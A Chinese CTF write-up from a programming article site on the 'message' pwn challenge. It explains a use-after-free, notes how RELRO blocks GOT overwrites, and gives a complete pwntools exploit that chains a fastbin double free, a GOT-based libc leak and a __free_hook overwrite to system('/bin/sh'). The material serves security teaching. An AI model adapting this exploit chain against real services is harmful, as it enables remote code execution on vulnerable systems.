欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

message

程序员文章站 2022-05-25 13:00:29
...

第二道fastbin double free。

free(*(void **)&dword_602060[4 * v1 + 2]);
      dword_602060[4 * v1] = 0;
      --dword_60204C;

这里没有把指针置为null,所以会产生uaf漏洞。

ida大体分析了一下就会发现,由于没有后门函数,这道题会比上一道难。而且由于RELRO的开启,got所在的数据段是只读的,这里研究一下relro这个保护。

uaf漏洞的利用方式有多种,其中就有修改got表达到任意地址写,从而getshel。但是RELRO这个保护,通过将got表所在的地址变成只读,有效阻止了got表覆盖攻击。

所以说这道题我们不能用覆盖got表的方式来getshell,而是需要用freehook劫持的方式。

大体思路是先通过fastbin double free构造fake chunk指向储存chunk的content的地址并泄露puts函数的真实地址,再获得libc基址,借此修改freehook,使它指向system并调用。

from pwn import *
from LibcSearcher import *

#p = remote('124.70.35.238',23717)
p = process('./message')
context.log_level = 'debug'
elf = ELF('./message')

def add(size,content = b'a'):
	p.sendafter(':','1')
	p.sendafter(':',str(size))
	p.sendafter(':',content)

def free(idx):
	p.sendafter(':','2')
	p.sendafter(':',str(idx))

def edit(idx,content):
	p.sendafter(':','3')
	p.sendafter(':',str(idx))
	p.sendafter(':',content)

def show(idx):
	p.sendafter(':','4')
	p.sendafter(':',str(idx))

#gdb.attach(p)
add(0x30)#chunk0,set as the fake chunk
add(0x20)#chunk1
add(0x20)#chunk2

free(1)
free(2)
free(1)#fastbin: chunk1-->chunk2-->chunk1

fake_chunk_addr = 0x602060 - 0x8
add(0x20,p64(fake_chunk_addr))#chunk3-->1
#fastbin: fake_chunk-->chunk1-->chunk2-->chunk1
add(0x20)#chunk4-->2
add(0x20)#chunk5-->1
add(0x20,p64(elf.got['puts']))#chunk6..>fake chunk
#leak the address
show(0)

puts = u64(recv(6))
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')

edit(6,p64(free_hook))
edit(0,p64(system))
#free_hook = system

add(0x8,'/bin/shx00')
free(7)
#process system(/bin/sh)
相关标签: pwn